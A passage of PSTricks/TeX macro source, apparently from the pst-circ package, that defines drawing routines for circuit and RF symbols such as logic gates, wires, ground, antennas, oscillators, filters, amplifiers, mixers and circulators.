Q} - \fi - \fi - \fi - \fi - \fi - \ifx\psk@logic@type\pst@logic@type@or - \def\logic@type{$\ge$1} - \else - \ifx\psk@logic@type\pst@logic@type@not - \def\logic@type{1} - \else - \ifx\psk@logic@type\pst@logic@type@nand - \def\logic@type{\&} - \else - \ifx\psk@logic@type\pst@logic@type@nor - \def\logic@type{$\ge\kern-5pt 1$} - \else - \ifx\psk@logic@type\pst@logic@type@exor - \def\logic@type{=1} - \else - \ifx\psk@logic@type\pst@logic@type@exnor - \def\logic@type{=} - \else - \ifx\psk@logic@type\pst@logic@type@and - \def\logic@type{\&} - \else - \def\logic@type{\logicusertype} - \fi - \fi - \fi - \fi - \fi - \fi - \fi - \rput(!% - /dx XB XA sub \psk@logic@symbolpos\space mul def - XA dx add YB 0.3 sub){\psk@logic@symbolstyle\textbf{\logic@type}} - \rput[b](!% - /dx XB XA sub 2 div def - XA dx add YA 0.1 add){\psk@logic@labelstyle #3} - \fi - \fi - \fi% end of no special RS/JK/D -}\ignorespaces} -% -% end hv 2003-07-28 -% -\def\pst@draw@wire[#1](#2)(#3){{% - \psset{#1}% - \ifx\psk@I@label\@empty\else\psset{intensity=true}\fi - \ifx\psk@Dconvention\pst@Dconvention@generator - \Pst@Dconventiontrue - \else\ifx\psk@Dconvention\pst@Dconvention@receptor\Pst@Dconventionfalse\fi - \fi - \bgroup - \pnode(#2){Inter@1} - \pnode(#3){Inter@2} - \psset{arrows=-} - \ifPst@wire@intersect - \rput(! - /N@Inter@1 GetNode /N@Inter@2 GetNode /N@\psk@wire@intersectA\space - GetNode /N@\psk@wire@intersectB\space GetNode InterLines - \pst@number\psyunit div exch \pst@number\psxunit div exch){\pnode{@M}}% - \ncline[linestyle=none,fillstyle=none]{Inter@1}{@M} - \ncput[nrot=:U,npos=.85]{\pnode{@M1}} - \ncline[linestyle=none,fillstyle=none]{@M}{Inter@2} - \ncput[nrot=:U,npos=.15]{\pnode{@M2}} - \psline(Inter@1)(@M1) - \psline(@M2)(Inter@2) - \ncarc[arcangle=90]{@M1}{@M2} - \else - \pcline(#2)(#3) - \ifPst@intensity - \ifPst@directconvention - \ncput[nrot=:U]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \pcline[linestyle=none,fillstyle=none,offset=\psk@I@label@offset](#2)(#3) - \ncput[nrot=\psk@label@angle]{\csname\psk@I@labelcolor\endcsname\psk@I@label} - \else - \ncput[nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width]{<-}(-.1,0)(.1,0)} - \pcline[linestyle=none,fillstyle=none,offset=\psk@I@label@offset](#2)(#3) - \ncput[nrot=\psk@label@angle]{\csname\psk@I@labelcolor\endcsname\psk@I@label} - \fi - \fi - \fi - \egroup - \ncline[linestyle=none]{Inter@1}{Inter@2} -}\ignorespaces} -% -% -\def\pst@draw@tension@[#1](#2)(#3)#4{{% - \psset{#1}% - \pnode(#2){pst@tempa} % hv - \pnode(#3){pst@tempb} % hv - \ncline[linestyle=none,fillstyle=none]{pst@tempa}{pst@tempb} - \ncput[nrot=:U,npos=0.05]{\pnode{@M1}} - \ncput[nrot=:U,npos=0.95]{\pnode{@M2}} - \ncline[arrowinset=0,linecolor=\psk@tension@color]{->}{@M1}{@M2} - \pcline[arrows=-,linestyle=none,fillstyle=none,offset=\psk@label@offset](@M1)(@M2) - \ncput[nrot=\psk@label@angle]{\csname\psk@tension@labelcolor\endcsname #4} -}\ignorespaces} -% -\def\node(#1){\pscircle*(#1){2\pslinewidth}} -% -% -% -\define@boolkey[psset]{pst-circ}[Pst@]{inputarrow}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{programmable}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{connectingdot}[true]{} -% -\def\pst@Gstyle@old{old} \def\pst@Gstyle@ads{ads} \def\pst@Gstyle@triangle{triangle} -\def\pst@Astyle@two{two} \def\pst@Astyle@three{three} \def\pst@Astyle@triangle{triangle} -\def\pst@LOoutput@left{left} \def\pst@LOoutput@top{top} \def\pst@LOoutput@right{right} -\def\pst@LOoutput@bottom{bottom} \def\pst@LOstyle@crystal{crystal}\def\pst@Dstyle@lowpass{lowpass} -\def\pst@Dstyle@highpass{highpass}\def\pst@Dinput@right{right} \def\pst@Dinput@left{left} -\def\pst@Dstyle@multiplier{multiplier}\def\pst@Dstyle@divider{divider}\def\pst@FMvalue@value{0} -\def\pst@tripole@style@bottom{bottom}\def\pst@tripole@style@top{top}\def\pst@Tinput@left{left} -\def\pst@Tinput@right{right} \def\pst@tripole@style@circulator{circulator} -\def\pst@tripole@style@isolator{isolator}\def\pst@Tconfig@left{left}\def\pst@Tconfig@right{right} -\def\pst@Qstyle@directional{directional}\def\pst@Qstyle@hybrid{hybrid}\def\pst@Qinput@left{left} -\def\pst@Qinput@right{right} -\define@key[psset]{pst-circ}{groundstyle}[ads]{\def\psk@Gstyle{#1}} -\define@key[psset]{pst-circ}{antennastyle}[two]{\def\psk@Astyle{#1}} -\define@key[psset]{pst-circ}{output}[top]{\def\psk@LOoutput{#1}} -\define@key[psset]{pst-circ}{LOstyle}[]{\def\psk@LOstyle{#1}} -\define@key[psset]{pst-circ}{dipoleinput}[left]{\def\psk@Dinput{#1}} -\define@key[psset]{pst-circ}{value}[0]{\def\psk@FMvalue{#1}} -\define@key[psset]{pst-circ}{tripoleinput}[left]{\def\psk@Tinput{#1}} -\define@key[psset]{pst-circ}{tripoleconfig}[left]{\def\psk@Tconfig{#1}} -\define@key[psset]{pst-circ}{couplerstyle}[hxbrid]{\def\psk@Qstyle{#1}} -\define@key[psset]{pst-circ}{quadripoleinput}[left]{\def\psk@Qinput{#1}} -% -% -\psset{groundstyle=ads, antennastyle=two, output=top,% - dipoleinput=left, dipolestyle=multiplier, value=0,% - dipoleinput=left, inputarrow=false, tripoleinput=left,% - tripolestyle=bottom,tripoleconfig=left, quadripoleinput=left,% - couplerstyle=hybrid, connectingdot=true, LOstyle={} } -% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% monopole -%%% newground: groundstyle: (ads), old, triangle -%%% Antenna: antennastyle: (two), three, triangle -%%% Oscillator: oscioutput: (top), right, bottom, left, -%%% inputarrow: (false), true -%%% connectingdot: (true), false -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% newground %%% -\def\newground{\@ifnextchar[{\pst@newground}{\pst@newground[]}} -\def\pst@newground[#1]{% - \@ifnextchar({\pst@newgroundi[#1]{0}}{\pst@newgroundi[#1]}% -} -\def\pst@newgroundi[#1]#2(#3){% - \psset{#1}% - \rput{#2}(#3){% - \ifx\psk@Gstyle\pst@Gstyle@ads - \psline[linewidth=1.5\pslinewidth]{c-c}(-0.3,-0.5)(0.3,-0.5) - \psline[linewidth=1.5\pslinewidth]{c-c}(-0.2,-0.6)(0.2,-0.6) - \psline[linewidth=1.5\pslinewidth]{c-c}(-0.1,-0.7)(0.1,-0.7) - \fi - \ifx\psk@Gstyle\pst@Gstyle@old - \psline[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,-0.5) - \fi - \ifx\psk@Gstyle\pst@Gstyle@triangle - \pstriangle[linewidth=1.5\pslinewidth](0,-0.5)(0.4,-0.4) - \fi - \psline(0,0)(0,-0.5) - \ifPst@connectingdot - \pscircle*(0,0){2\pslinewidth} - \fi - } - \ignorespaces% -} -% -%%% antenna %%% -% -\def\antenna{\@ifnextchar[{\pst@antenna}{\pst@antenna[]}} -\def\pst@antenna[#1]{% - \@ifnextchar({\pst@antennai[#1]{0}}{\pst@antennai[#1]}% -} -\def\pst@antennai[#1]#2(#3){% - \psset{#1}% - \rput{#2}(#3){% - \ifx\psk@Astyle\pst@Astyle@two - \psline[linewidth=1.5\pslinewidth](0,.75)(-0.2,1.25) - \psline[linewidth=1.5\pslinewidth](0,.75)(0.2,1.25) - \fi - \ifx\psk@Astyle\pst@Astyle@three - \psline[linewidth=1.5\pslinewidth](0,.75)(-0.2,1.25) - \psline[linewidth=1.5\pslinewidth](0,.75)(0,1.25) - \psline[linewidth=1.5\pslinewidth](0,.75)(0.2,1.25) - \fi - \ifx\psk@Astyle\pst@Astyle@triangle - \pstriangle[linewidth=1.5\pslinewidth](0,1.25)(0.4,-0.5) - \fi - \psline(0,0)(0,.75) - } - \ignorespaces% -} -% -%%% oscillator %%% -% -\def\oscillator{\@ifnextchar[{\pst@oscillator}{\pst@oscillator[]}} -\def\pst@oscillator[#1]{% - \@ifnextchar({\pst@oscillatori[#1]{0}}{\pst@oscillatori[#1]}% -} -\def\pst@oscillatori[#1]#2(#3)#4#5{% - \psset{#1}% - \rput{#2}(#3){% - \pscircle[#5,linewidth=1.5\pslinewidth](0,0){0.5} - \ifx\psk@LOstyle\pst@LOstyle@crystal - \psline(-0.2,-0.35)(-0.2,0.35) - \psframe(-0.15,-0.3)(0.15,0.3) - \psline(0.2,-0.35)(0.2,0.35) - \else - \pscurve[linewidth=1.5\pslinewidth]{c-c}(-0.3,0.000)(-0.225,0.088375)(-0.15,0.1250)(-0.075,0.088375)% - (0,0.000)(0.075,-0.088375)(0.15,-0.125)(0.225,-0.088375)(0.3,0.000) - \fi - \ifx\psk@LOoutput\pst@LOoutput@left - \pst@getcoor{#3}\pst@tempa - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - /XC X1 def - /YC Y1 -0.6 add def - XC YC){C@} - \rput[t]{#2}(C@){#4} - \ifPst@inputarrow - \psline[arrows=->,arrowinset=0](-0.5,0)(-1,0) - \else - \psline(-0.5,0)(-1,0) - \fi - \fi - \ifx\psk@LOoutput\pst@LOoutput@top - \pst@getcoor{#3}\pst@tempa - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - /XC X1 def - /YC Y1 -0.6 add def - XC YC){C@} - \rput[t]{#2}(C@){#4} - \ifPst@inputarrow - \psline[arrows=->,arrowinset=0](0,0.5)(0,1) - \else - \psline(0,0.5)(0,1) - \fi - \fi - \ifx\psk@LOoutput\pst@LOoutput@right - \pst@getcoor{#3}\pst@tempa - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - /XC X1 def - /YC Y1 -0.6 add def - XC YC){C@} - \rput[t]{#2}(C@){#4} - \ifPst@inputarrow - \psline[arrows=->,arrowinset=0](0.5,0)(1,0) - \else - \psline(0.5,0)(1,0) - \fi - \fi - \ifx\psk@LOoutput\pst@LOoutput@bottom - \pst@getcoor{#3}\pst@tempa - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - /XC X1 def - /YC Y1 0.6 add def - XC YC){C@} - \rput[b]{#2}(C@){#4} - \ifPst@inputarrow - \psline[arrows=->,arrowinset=0](0,-0.5)(0,-1) - \else - \psline(0,-0.5)(0,-1) - \fi - \fi - } - \ignorespaces% -} -% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% Dipole -%%% filtre: dipolestyle: (bandpass), lowpass, highpass -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%% isolator: dipoleinput: (left), right -%%% inputarrow: (false), true -%%% freqmult: dipolestyle: (multiplier), divider, -%%% value: (N), integer -%%% programmable: (false) true -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%% phaseshifter: -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%% vco: -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%% amplifier: -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%% detector: -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% FILTER %%% -% -\def\filter{\@ifnextchar[{\pst@filter}{\pst@filter[]}} -% -\def\pst@filter[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@filter% - }\ignorespaces} -% -\def\pst@multidipole@filter{\@ifnextchar[{\pst@multidipole@filter@}% -{\pst@multidipole@filter@[]}} -% -\def\pst@multidipole@filter@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\filter[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@filter{% - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,0.5) - \pscurve[linewidth=1.5\pslinewidth]{c-c}(-0.4,0.250)(-0.2,0.3750)(0,0.250)(0.2,0.1250)(0.4,0.250) - \pscurve[linewidth=1.5\pslinewidth]{c-c}(-0.4,0.000)(-0.2,0.1250)(0,0.000)(0.2,-0.125)(0.4,0.000) - \pscurve[linewidth=1.5\pslinewidth]{c-c}(-0.4,-0.25)(-0.2,-0.125)(0,-0.25)(0.2,-0.375)(0.4,-0.25) -% \psline{c-c}(-0.1,0.2)(0.1,0.3) - \ifx\psk@Dstyle\pst@Dstyle@lowpass - \psline[fillstyle=none]{c-c}(-0.1,0.2)(0.1,0.3) - \psline[fillstyle=none]{c-c}(-0.1,-0.05)(0.1,0.05) - \else - \ifx\psk@Dstyle\pst@Dstyle@highpass - \psline[fillstyle=none]{c-c}(-0.1,-0.3)(0.1,-0.2) - \psline[fillstyle=none]{c-c}(-0.1,-0.05)(0.1,0.05) - \else - \psline[fillstyle=none]{c-c}(-0.1,0.2)(0.1,0.3) - \psline[fillstyle=none]{c-c}(-0.1,-0.3)(0.1,-0.2) - \fi - \fi -} - -%%% ISOLATOR %%% -% -\def\isolator{\@ifnextchar[{\pst@isolator}{\pst@isolator[]}} -% -\def\pst@isolator[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@isolator% - }\ignorespaces} -% -\def\pst@multidipole@isolator{\@ifnextchar[{\pst@multidipole@isolator@}% -{\pst@multidipole@isolator@[]}} -% -\def\pst@multidipole@isolator@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\isolator[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@isolator{% - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,0.5) - \ifx\psk@Dinput\pst@Dinput@right - \psline[fillstyle=none,linewidth=1.5\pslinewidth,arrowinset=0]{<-}(-0.4,0)(0.4,0) - \else - \psline[fillstyle=none,linewidth=1.5\pslinewidth,arrowinset=0]{->}(-0.4,0)(0.4,0) - \fi -} -% -%%% Frequency Multiplier or Divider %%% -\def\freqmult{\@ifnextchar[{\pst@freqmult}{\pst@freqmult[]}} -% -\def\pst@freqmult[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@freqmult% - }\ignorespaces} -% -\def\pst@multidipole@freqmult{\@ifnextchar[{\pst@multidipole@freqmult@}% -{\pst@multidipole@freqmult@[]}} -% -\def\pst@multidipole@freqmult@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\freqmult[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@freqmult{% - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,0.5) - \ifPst@programmable% - \psline[fillstyle=none](-0.4,-0.75)(-0.4,-0.5) - \psline[fillstyle=none](-0.2,-0.75)(-0.2,-0.5) - \psline(0,-0.75)(0,-0.5) - \psline[fillstyle=none](0.2,-0.75)(0.2,-0.5) - \psline[fillstyle=none](0.4,-0.75)(0.4,-0.5) - \ifx\psk@Dstyle\pst@Dstyle@divider - \rput(0,0){$\div\textrm{N}$} - \else - \rput(0,0){$\times\textrm{N}$} - \fi - \else - \ifx\psk@FMvalue\pst@FMvalue@value - \ifx\psk@Dstyle\pst@Dstyle@divider - \rput(0,0){$\div\textrm{N}$} - \else - \rput(0,0){$\times\textrm{N}$} - \fi - \else - \ifx\psk@Dstyle\pst@Dstyle@divider - \rput(0,0){$\div\textrm{\psk@FMvalue}$} - \else - \rput(0,0){$\times\textrm{\psk@FMvalue}$} - \fi - \fi - \fi% -} -% -%%% phaseshifter -\def\phaseshifter{\@ifnextchar[{\pst@phaseshifter}{\pst@phaseshifter[]}} -% -\def\pst@phaseshifter[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@phaseshifter% - }\ignorespaces} -% -\def\pst@multidipole@phaseshifter{\@ifnextchar[{\pst@multidipole@phaseshifter@}% -{\pst@multidipole@phaseshifter@[]}} -% -\def\pst@multidipole@phaseshifter@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\phaseshifter[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@phaseshifter{% - \pnode(-0.4,0){dipole@1} - \pnode(0.4,0){dipole@2} - \pscircle[linewidth=1.5\pslinewidth](0,0){0.4} - \psline[fillstyle=none,linewidth=1.5\pslinewidth,arrowinset=0]{->}(-0.5,-0.5)(0.5,0.5) -} -% -%%% VCO -\def\vco{\@ifnextchar[{\pst@vco}{\pst@vco[]}} -% -\def\pst@vco[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@vco% - }\ignorespaces} -% -\def\pst@multidipole@vco{\@ifnextchar[{\pst@multidipole@vco@}% -{\pst@multidipole@vco@[]}} -% -\def\pst@multidipole@vco@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\vco[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@vco{% - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \pscircle[linewidth=1.5\pslinewidth](0,0){0.5} - \pscurve[linewidth=1.5\pslinewidth]{c-c}(-0.3,0.000)(-0.225,0.088375)(-0.15,0.1250)(-0.075,0.088375)% - (0,0.000)(0.075,-0.088375)(0.15,-0.125)(0.225,-0.088375)(0.3,0.000) -} -% -%%% amplifier %%% -% -\def\amplifier{\@ifnextchar[{\pst@amplifier}{\pst@amplifier[]}} -% -\def\pst@amplifier[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@amplifier% - }\ignorespaces} -% -\def\pst@multidipole@amplifier{\@ifnextchar[{\pst@multidipole@amplifier@}% -{\pst@multidipole@amplifier@[]}} -% -\def\pst@multidipole@amplifier@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\amplifier[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@amplifier{% - \pnode(-0.433,0){dipole@1} - \pnode(0.433,0){dipole@2} - \ifx\psk@Dinput\pst@Dinput@right - \pstriangle[gangle=90,linewidth=1.5\pslinewidth](0.433,0)(1,0.866) - \else - \pstriangle[gangle=-90,linewidth=1.5\pslinewidth](-0.433,0)(1,0.866) - \fi -} -% -%%% detector %%% -% -\def\detector{\@ifnextchar[{\pst@detector}{\pst@detector[]}} -% -\def\pst@detector[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@detector% - }\ignorespaces} -% -\def\pst@multidipole@detector{\@ifnextchar[{\pst@multidipole@detector@}% -{\pst@multidipole@detector@[]}} -% -\def\pst@multidipole@detector@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\detector[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@detector{% - \pnode(-0.5,0){dipole@1} - \psline[fillstyle=none](-0.5,0)(-0.2165,0) - \pnode(0.5,0){dipole@2} - \psline[fillstyle=none](0.5,0)(0.2165,0) - \psframe[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,0.5) - \ifx\psk@Dinput\pst@Dinput@right - \pstriangle[gangle=90,linewidth=1.5\pslinewidth,fillstyle=none](0.2165,0)(0.5,0.433) - \psline[fillstyle=none,linewidth=1.5\pslinewidth](-0.2165,-0.25)(-0.2165,0.25) - \else - \pstriangle[gangle=-90,linewidth=1.5\pslinewidth,fillstyle=none](-0.2165,0)(0.5,0.433) - \psline[fillstyle=none,linewidth=1.5\pslinewidth](0.2165,-0.25)(0.2165,0.25) - \fi -} -% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% Tripole -%%% mixer: tripolestyle:(bottom), top -%%% inputarrow: (false) | true -%%% tripoleinput: (left) | right -%%% Circulator: tripolestyle=(circulator), isolator -%%% tripoleconfig: (left) | right -%%% inputarrow: (false) | true -%%% tripoleinput: (left) | right -%%% AGC: tripoleinput=(left)|right -%%% inputarrow: (false) | true -%%% tripoleinput: (left) | right -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -% -\def\mixer{\pst@object{mixer}} -\def\mixer@i(#1)(#2)(#3)#4#5{% - \addbefore@par{dimen=middle}% - \begin@ClosedObj - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /XC X1 X2 add 2 div def - /YC Y2 def - XC YC){C@} - \rput(C@){\pst@draw@mixer{#3}{#4}{#5}} - \ifx\psk@Tinput\pst@Tinput@left% - \ifPst@inputarrow - \ncangle[arrows=->,arrowinset=0,arm=0.5,angleB=180]{#1}{Tport@left} - \else - \ncangle[arrows=-,arm=0.5,angleB=180]{#1}{Tport@left} - \fi - \ncangle[arrows=-,arm=0.5,angleB=0]{#2}{Tport@right} - \else - \ifPst@inputarrow - \ncangle[arrows=<-,arrowinset=0,arm=0.5,angleB=180]{Tport@right}{#2} - \else - \ncangle[arrows=-,arm=0.5,angleB=180]{Tport@right}{#2} - \fi - \ncangle[arrows=-,arm=0.5,angleB=180]{#1}{Tport@left} - \fi - \pcline[linestyle=none](#1)(#2)% for the endarrows - \pcline[linestyle=none](#2)(#3)% for the endarrows - \end@ClosedObj - \ignorespaces% -} -\def\pst@draw@mixer#1#2#3{% - \pscircle[#3,linewidth=1.5\pslinewidth](0,0){0.5} - \psline[linewidth=1.5\pslinewidth](-0.3535,-0.3535)(0.3535,0.3535) - \psline[linewidth=1.5\pslinewidth](-0.3535,0.3535)(0.3535,-0.3535) - \pnode(-0.5,0){Tport@left}% - \pnode(0.5,0){Tport@right}% - \ifx\psk@tripole@style\pst@tripole@style@top% - \rput[t](0,-0.6){#2} - \pnode(0,0.5){Tport@center} - \ifPst@inputarrow - \ncangle[arrows=->,arrowinset=0,arm=0.5,angleB=90]{#1}{Tport@center} - \else - \ncangle[arrows=-,arm=0.5,angleB=90]{#1}{Tport@center} - \fi - \else - \rput[b](0,0.6){#2} - \pnode(0,-0.5){Tport@center} - \ifPst@inputarrow - \ncangle[arrows=->,arrowinset=0,arm=0.5,angleB=-90]{#1}{Tport@center} - \else - \ncangle[arrows=-,arm=0.5,angleB=-90]{#1}{Tport@center} - \fi% - \fi% -} -% -%%% Circulator -% -\def\circulator{\pst@object{circulator}} -\def\circulator@i#1(#2)(#3)(#4)#5#6{% - \addbefore@par{dimen=middle}% - \begin@ClosedObj - \pst@getcoor{#2}\pst@tempa - \pst@getcoor{#3}\pst@tempb - \pst@getcoor{#4}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /XC X1 X2 add 2 div def - /YC Y1 Y2 add 2 div def - XC YC){C@} - \rput{#1}(C@){\pst@draw@circulator{#4}{#5}{#6}} - \nput{! 90 #1 add}{Tport@label}{#5} - \ifPst@inputarrow - \ncline[arrows=->,arrowinset=0]{#2}{Tport@input} %,arm=0.5,angleB=180 - \else - \ncline[arrows=-]{#2}{Tport@input} - \fi - \ncline[arrows=-]{#3}{Tport@output} %,arm=0.5,angleB=0 - \pcline[linestyle=none](#2)(#3)% for the endarrows - \pcline[linestyle=none](#3)(#4)% for the endarrows - \end@ClosedObj - \ignorespaces% -} -\def\pst@draw@circulator#1#2#3{% - \pscircle[#3,linewidth=1.5\pslinewidth](0,0){0.5}% - \pnode(0,0.6){Tport@label}% - \ifx\psk@Tconfig\pst@Tconfig@left% - \psarc[linewidth=1.5\pslinewidth,arrowinset=0]{<-}{0.35}{15}{155} - \pnode(-0.5,0){Tport@input} - \pnode(0.5,0){Tport@output} - \else - \psarc[linewidth=1.5\pslinewidth,arrowinset=0]{->}{0.35}{25}{165} - \pnode(-0.5,0){Tport@output} - \pnode(0.5,0){Tport@input} - \fi% - \ifx\psk@tripole@style\pst@tripole@style@isolator% - \psline(0,-0.5)(0,-0.95)% - \multips{0}(-0.225,-1)(0.1,0){5}% - {\psline[arrows=-,linewidth=1.5\pslinewidth](0,0)(0.025,0.05)(0.075,-0.05)(0.1,0)}% - \else - \pnode(0,-0.5){Tport@center}% - \ncline[arrows=-]{#1}{Tport@center} - \fi% -} -% -%%% AGC -\def\agc{\pst@object{agc}} -\def\agc@i(#1)(#2)(#3)#4#5{% - \addbefore@par{dimen=middle}% - \begin@ClosedObj - \pst@getcoor{#1}\pst@tempa - 